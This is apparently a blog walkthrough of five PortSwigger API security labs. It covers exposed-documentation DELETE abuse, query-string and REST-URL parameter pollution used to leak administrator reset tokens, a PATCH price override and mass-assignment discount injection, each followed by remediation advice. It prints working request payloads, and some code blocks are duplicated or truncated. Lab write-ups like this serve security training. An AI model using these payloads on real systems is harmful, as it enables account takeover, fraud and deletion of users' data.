GET, DELETE, and PATCH verbs for the /user/{username} endpoint. On the right side, the Burp Suite Repeater interface displays an executed PATCH /api request resulting in a 302 Found redirect response pointing to the /api/ documentation location.June 9, 2026
PortSwigger Lab Writeup: Exploiting an API Endpoint Using Documentation
API documentation is a goldmine for security researchers and attackers alike. While it is essential for developers, leaving interactive or…
Ayeshaaghafoor
11 min read
API documentation is a goldmine for security researchers and attackers alike. While it is essential for developers, leaving interactive or development-grade API documentation exposed in a production environment often leads to unauthorized data access or destructive actions.
In this walkthrough, we will look at an apprentice-level PortSwigger lab where exposed API documentation allows us to completely delete a user account without administrative credentials.
Lab Objective
- Target: Find the exposed API documentation.
- Goal: Leverage the documented endpoints to delete the user
carlos. - Credentials Provided:
wiener:peter(your local account).
Walkthrough Steps
Step 1: Explore the Application & Analyze Traffic
- Open the lab link and log into the application using your provided credentials (
wiener:peter). - Intercept the traffic or view your HTTP history in Burp Suite. Look closely at how the application interacts with its backend. You will notice requests hitting endpoints like
/api/.... - Try navigating directly to the
/apiendpoint or looking for common documentation paths like/api/definitions,/api/swagger.json, or/api/v1.
Step 2: Uncover the Exposed API Documentation
If you send a PATCH or GET request to /api directly in Burp Repeater, or simply navigate to it via your browser, you will hit a jackpot: a beautifully rendered, interactive REST API documentation table.
This documentation reveals three crucial endpoints:
GET /user/{username}– Fetches user details.DELETE /user/{username}– Deletes a specific user.PATCH /user/{username}– Updates user information (requires a JSON body like{"email": "String"}).
Step 3: Exploiting the Vulnerability
The presence of the DELETE /user/{username} endpoint is an immediate red flag if it lacks proper access controls. Let's test if we can execute this action on another user.
- Send a request to Burp Repeater.
- Change the HTTP request method (Verb) to
DELETE. - Modify the endpoint path targeting the user account we want to remove:
/api/user/carlos. - Leave the body empty and hit Send.
The server responds with a triumphant 200 OK, confirming that the application processed the deletion without validating whether our session had administrative rights to perform that destructive action.
The lab status banner on your browser will immediately update to "LAB Solved"!
Key Takeaways & Remediation
- Information Disclosure: API documentation frameworks (like Swagger/OpenAPI) should never be publicly accessible in a production environment unless explicitly intended for public API consumption.
- Broken Object Level Authentication (BOLA / IDOR): Even if documentation is exposed, the underlying API endpoints must strictly validate authorization tokens. A regular user should never have access to
DELETEroutines targeting other users' objects.
PortSwigger Lab 2 : Exploiting Server-Side Parameter Pollution in a Query String
Server-Side Parameter Pollution (SSPP) occurs when an application takes user input and embeds it directly into an internal backend API request without proper sanitization or encoding. By injecting query string delimiters like &, #, or =, an attacker can manipulate the structure of the backend request, alter execution logic, or access unauthorized parameters.
In this walkthrough, we will reverse-engineer a client-side JavaScript file, discover an internal API vulnerability, extract a password reset token for the administrator, and delete the target user carlos.
Lab Objective
- Target: Exploiting server-side parameter pollution in a query string.
- Goal: Log in as the
administratorand delete the usercarlos.
Walkthrough Steps
Step 1: Analyze Client-Side Source Code
- Navigate to the Forgot password page.
- Open your browser's Developer Tools (
F12) and inspect the Sources tab. - Review the code inside
forgotPassword.js.
JavaScript
wdReady(() => {
st queryString = window.location.search;
st urlParams = new URLSearchParams(queryString);
st resetToken = urlParams.get('reset-token');
if (resetToken) {
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
});wdReady(() => {
st queryString = window.location.search;
st urlParams = new URLSearchParams(queryString);
st resetToken = urlParams.get('reset-token');
if (resetToken) {
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
});Vulnerability Indicator: The front-end client expects a reset-token parameter from the URL query string and dynamically routes requests backend-side. This heavily implies the server-side architecture routes parameters internally using query string interpolation.
Step 2: Discover and Pollute the Parameter
When you submit a regular username like wiener or administrator, the UI might throw an "Invalid username" error because we are testing the application logic via Burp Suite. Let's capture the reset request in Burp Suite Repeater.
The application sends a POST request with the body containing user identifiers:
HTTP
POST /forgot-password HTTP/2
...
csrf=YOUR_CSRF_TOKEN&username=administratorPOST /forgot-password HTTP/2
...
csrf=YOUR_CSRF_TOKEN&username=administratorLet's attempt to pollute the internal server request string by injecting a URL-encoded parameter delimiter (%26 for &). We will append a targeted field parameter manipulation:
HTTP
username=administrator%26field=reset_tokenusername=administrator%26field=reset_tokenWhen you send this payload, look at the server's response:
JSON
{
"result": "lbhwyvldpqm0s2lrdvj05lppjtqyu8ku",
"type": "reset_token"
}{
"result": "lbhwyvldpqm0s2lrdvj05lppjtqyu8ku",
"type": "reset_token"
}The application backend processed our injected parameter field=reset_token and returned the actual raw reset token string directly within the JSON response structure!
Step 3: Account Takeover & Lab Completion
- Copy the value of the token returned from your successful parameter pollution attack:
lbhwyvldpqm0s2lrdvj05lppjtqyu8ku(Note: Tokens change across active sessions). - Construct the password reset URL based on the logic mapped out in the client JS file:
- Plaintext
https://<LAB-ID>.web-security-academy.net/forgot-password?reset_token=lbhwyvldpqm0s2lrdvj05lppjtqyu8kuhttps://<LAB-ID>.web-security-academy.net/forgot-password?reset_token=lbhwyvldpqm0s2lrdvj05lppjtqyu8ku- Load this URL in your browser. You will be prompted with a password change screen specifically for the
administratoraccount. - Set a new password, log in to the Admin panel, and delete the user
carlosto solve the lab.
Key Takeaways & Remediation
- Strict Input Validation: Implement strict allow-lists for user input on fields passed directly to internal routing parameters.
- Safe Encoding: Ensure that any user-supplied strings embedded in backend queries are properly URL/percent-encoded before being interpolated into backend API requests. This prevents characters like & and = from being interpreted as syntax delimiters.
PortSwigger Lab 3 : Finding and Exploiting an Unused API Endpoint
In modern web development, backend architectures are frequently modified, updated, or deprecated. During these transitions, developers sometimes leave old or "hidden" API endpoints active within the application code or routing setup. If these unused endpoints lack appropriate access controls or validation mechanisms, they present a high-risk attack surface.
In this writeup, we will explore how to identify an unlinked API route via standard HTTP method testing and manipulate backend variables to purchase a premium item for free.
Lab Objective
- Target: Finding and exploiting an unused API endpoint.
- Goal: Successfully purchase the "Lightweight l33t Leather Jacket".
- Credentials Provided:
wiener:peter(your local account with limited store credit).
Walkthrough Steps
Step 1: Map Out the Target Endpoint
- Log into the shop application with your credentials (
wiener:peter). - Navigate to the Lightweight l33t Leather Jacket product page.
- Observe how the application retrieves product details or handles add-to-cart functionality. In your Burp Suite HTTP history, you will notice requests directed toward API-like patterns, such as
/api/products/1.
Step 2: Probe for Hidden Methods & Content-Type Requirements
When exploring endpoints like /api/products/1 (typically accessed via a GET method), it is standard practice to test alternative HTTP verbs (POST, PUT, PATCH, DELETE) to see how the backend responds.
- Send the
GET /api/products/1request to Burp Repeater. - Change the request method to
PATCH. - Send the request.
As seen in the initial server interaction, the backend rejects the empty request but leaks vital structural expectations:
JSON
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
{
"type": "ClientError",
"code": 400,
"error": "Only 'application/json' Content-Type is supported"
}HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
{
"type": "ClientError",
"code": 400,
"error": "Only 'application/json' Content-Type is supported"
}This error message confirms that a PATCH endpoint exists on this exact route and explicitly expects JSON formatted data.
Step 3: Exploit the Unused Endpoints to Alter Product Price
Since the PATCH method is designed to update existing resources, we can attempt to modify object parameters directly. Our goal is to manipulate the price of the jacket to an amount we can afford with our default store balance ($0.00).
- In Burp Repeater, add the missing header to your request:
Content-Type: application/json- Construct a JSON body specifying the parameter you intend to change. We will attempt to overwrite the
pricevariable: - JSON
{ "price": 0 }{ "price": 0 }- Send the updated
PATCHrequest.
The server responds with a clear 200 OK and echoes back the modified value structure:
JSON
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{
"price": "$0.00"
}HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{
"price": "$0.00"
}Step 4: Complete the Purchase
- Return to your web browser and refresh the page for the Lightweight l33t Leather Jacket.
- Notice that the listed price on the store interface has successfully changed to $0.00.
- Click Add to cart, navigate to your shopping cart, and place the order.
The transaction processes successfully because the backend trusted the unauthorized PATCH execution, changing the definitive price database reference. The lab banner will immediately mark the challenge as Solved.
Key Takeaways & Remediation
- Disable Unused Routes: Any endpoint or HTTP method that is not actively utilized by the business logic should be explicitly disabled or removed from production routers.
- Apply Strict Authorization Checks: Destructive or modifying methods (
PUT,PATCH,DELETE) must enforce strict role-based access control (RBAC). A regular user session should never be permitted to alter global catalog assets like prices.
PortSwigger Lab 4 : Exploiting a Mass Assignment Vulnerability
Mass assignment (sometimes referred to as Auto-binding or Object Injection) occurs when software frameworks automatically bind incoming HTTP request parameters directly to internal code objects or database models. If developers do not explicitly control or limit which parameters are allowed to be modified by the user, an attacker can inject sensitive object fields (such as permissions, status flags, or cost values) that were never meant to be exposed on the frontend client interface.
In this walkthrough, we will identify an unchecked nested structure within a checkout API request, modify parameters to apply an unauthorized discount, and secure a premium item for free.
Lab Objective
- Target: Exploiting a mass assignment vulnerability.
- Goal: Successfully bypass payment checks to buy the "Lightweight l33t Leather Jacket".
- Credentials Provided:
wiener:peter(your local user account with $0.00 store credit).
Walkthrough Steps
Step 1: Inspect the Shopping Cart Flow
- Access the web application and log in using the credentials
wiener:peter. - Add the Lightweight l33t Leather Jacket (priced at $1337.00) to your shopping cart.
- Navigate to the cart interface.
- In Burp Suite, go to the
Proxy -> HTTP historytab and look for requests linked to the checkout lifecycle. Look for API endpoints dealing with orders, such as aPOSTrequest to/cart/checkoutor/api/checkout.
Step 2: Map the Underlying Object Schema
When you interact with modern JSON APIs during a checkout process, the backend often sends or receives complete data objects detailing the transaction structure.
Let's examine a typical JSON data structure payload sent when preparing or placing an order:
JSON
{
"chosen_products": [
{
"product_id": "1",
"quantity": 1,
"item_price": 133700
}
]
}{
"chosen_products": [
{
"product_id": "1",
"quantity": 1,
"item_price": 133700
}
]
}Identifying the Mass Assignment Flaw: Many frameworks automatically bind server-side object schemas to input formats. If the backend lacks an explicit allow-list for accepted parameter variables, fields that are normally computed strictly by the server (such as discount calculations) might be acceptable as input directly from our client request.
Step 3: Inject Unauthorized Parameters
By deducing or discovering internal parameter names (often revealed through other system responses, documentation leaks, or error messages), we can attempt to inject a nested object handler such as chosen_discount.
- Send the checkout or cart submission request to Burp Repeater.
- Modify the JSON payload structure to introduce a custom
chosen_discountproperty containing apercentagevariable set to100. - Additionally, you can attempt to reset the input price to
00. Your final request payload should look like this:
JSON
{
"chosen_discount": {
"percentage": 100
},
"chosen_products": [
{
"product_id": "1",
"quantity": 1,
"item_price": 00
}
]
}{
"chosen_discount": {
"percentage": 100
},
"chosen_products": [
{
"product_id": "1",
"quantity": 1,
"item_price": 00
}
]
}- Hit Send.
The backend framework dynamically maps the chosen_discount object straight into the active session's invoice calculation without checking whether an authorized coupon logic validated it. The server processes the request and responds with a 201 Created status code, redirecting you to an order confirmation screen.
The application successfully updates your account balance requirements to zero, and the lab banner confirms: "Congratulations, you solved the lab!"
Key Takeaways & Remediation
- Avoid Implicit Binding: Avoid using framework features that automatically bind user inputs directly to internal domain models or database objects.
- Implement Explicit DTOs (Data Transfer Objects): Define a strict, safe schema for incoming data that only exposes the parameters users are explicitly allowed to modify (e.g.,
quantityorproduct_id). Any field not explicitly contained within the DTO should be ignored or rejected by the validator layer.
PortSwigger Lab 5 Writeup: Exploiting Server-Side Parameter Pollution in a REST URL
Server-Side Parameter Pollution (SSPP) within a REST environment can be incredibly devastating. Unlike standard query-string pollution where parameters are appended via keys and values, RESTful architectures often interpret inputs as directory structural paths. By injecting path traversal vectors (../) and URL truncation/comment characters directly into a user input parameter, an attacker can manipulate the routing configuration of internal API requests to access restricted administrative functions.
In this walkthrough, we will break down an expert challenge where we map an internal REST API framework, locate a hidden OpenAPI specification, extract a sensitive data object, and execute an account takeover on the administrator profile.
Lab Objective
- Target: Exploiting server-side parameter pollution in a REST URL.
- Goal: Compromise the
administratoraccount and delete the usercarlos.
Walkthrough Steps
Step 1: Discovering Path Traversal Behavior
- Navigate to the Forgot password functionality.
- In Burp Suite, capture the POST request triggered by entering a standard username string.
- Send this request to Burp Repeater. The request data payload typically follows this layout:
- HTTP
POST /forgot-password HTTP/2 ... csrf=YOUR_CSRF_TOKEN&username=administratorPOST /forgot-password HTTP/2 ... csrf=YOUR_CSRF_TOKEN&username=administrator- Test how the backend parses structural path separators by appending path traversal sequences to the
usernameparameter: - HTTP
username=../../../../administratorusername=../../../../administratorWhen you send this payload, the backend response triggers a 500 Internal Server Error, revealing a highly descriptive, raw API error stack trace embedded in the JSON data payload:
JSON
{
"error": "Unexpected response from API server:\n\n<html>\n<head>\n ... <h1>Not Found</h1>\n <p>The URL that you requested was not found.</p>..."
}{
"error": "Unexpected response from API server:\n\n<html>\n<head>\n ... <h1>Not Found</h1>\n <p>The URL that you requested was not found.</p>..."
}This behavior reveals that the application server seamlessly appends the user input directly into an internal REST URL string sequence. By inserting path units, we successfully modified the internal resource routing destination.
Step 2: Locating Hidden API Specifications
Now that we have confirmed path traversal works against the backend API router, we can search for common API endpoint paths or development schema files (e.g., openapi.json, swagger.json, v1/, etc.).
We will use a special query character (#) to truncate any trailing data the backend application appends to our input. In an HTTP query string context, this must be URL-encoded as %23.
- In Burp Repeater, submit the following payload in the username field to point to the base application root directory looking for an OpenAPI description:
- HTTP
username=../../../../openapi.json%23username=../../../../openapi.json%23- Inspect the JSON error string returned by the server. The application leaks the structural definitions of an internal development configuration map:
JSON
{
"error": "Unexpected response from API server:\n\n {\n \"openapi\": \"3.0.0\",\n \"info\": {\n \"title\": \"User API\",\n \"version\": \"2.0.0\"\n },\n \"paths\": {\n \"/api/internal/v1/users/{username}/field/{field}\": {\n \"get\": {\n \"summary\": \"Find user by username\",\n \"description\": \"API Version 1\",\n \"parameters\": [\n { \"name\": \"username\", \"in\": \"path\", \"required\": true }...\n"
}{
"error": "Unexpected response from API server:\n\n {\n \"openapi\": \"3.0.0\",\n \"info\": {\n \"title\": \"User API\",\n \"version\": \"2.0.0\"\n },\n \"paths\": {\n \"/api/internal/v1/users/{username}/field/{field}\": {\n \"get\": {\n \"summary\": \"Find user by username\",\n \"description\": \"API Version 1\",\n \"parameters\": [\n { \"name\": \"username\", \"in\": \"path\", \"required\": true }...\n"
}Analysis of the Leaked Schema: The backend API relies on an internal path structure defined as:
/api/internal/v1/users/{username}/field/{field}
Step 3: Extracting the Administrative Token
From our analysis of the OpenAPI specifications, we can see that the backend routing maps to specific user object fields. Our target field name is typically a token parameter, such as passwordResetToken.
Let's carefully align our path traversal sequence to hit this target parameter manually. Our input field substitutes the {username} placeholder in the backend execution string.
- Adjust the payload value to match the required REST schema structure, pointing to the administrative user block while defining the target field explicitly:
- HTTP
username=../../../../v1/users/administrator/field/passwordResetToken%23username=../../../../v1/users/administrator/field/passwordResetToken%23- Send the request.
The backend endpoint maps the request, handles our path override, truncates the remainder of the original query via %23, and responds with a successful 200 OK status leaking the access variable string:
JSON
{
"type": "passwordResetToken",
"result": "nhy8bq3ut0opwk6y76q8fkf0djwq5zex"
}{
"type": "passwordResetToken",
"result": "nhy8bq3ut0opwk6y76q8fkf0djwq5zex"
}Step 4: Execute Account Takeover
- Copy the administrative token value isolated from the parameter pollution exploit:
nhy8bq3ut0opwk6y76q8fkf0djwq5zex. - Construct the standard application password reset navigation route using this token parameter:
- Plaintext
https://<LAB-ID>.web-security-academy.net/forgot-password?passwordResetToken=nhy8bq3ut0opwk6y76q8fkf0djwq5zexhttps://<LAB-ID>.web-security-academy.net/forgot-password?passwordResetToken=nhy8bq3ut0opwk6y76q8fkf0djwq5zex- Open this link within your browser window to render the password alteration interface. Change the administrative password.
- Log into the application using your updated credentials (
administrator), head over to the Admin Panel, and delete the user accountcarlosto officially mark the lab as solved.
Key Takeaways & Remediation
- Sanitize Route Control Inputs: User-supplied variables should never be concatenated directly into REST URL pathing schemes. Treat characters like /, ., and # as high-risk inputs that require strict validation or replacement.
- Enforce API Layer Access Controls: Internal administration APIs should require explicit authorization tokens (such as mutual TLS or cryptographic headers) regardless of whether they are isolated on a local or private backend network layer.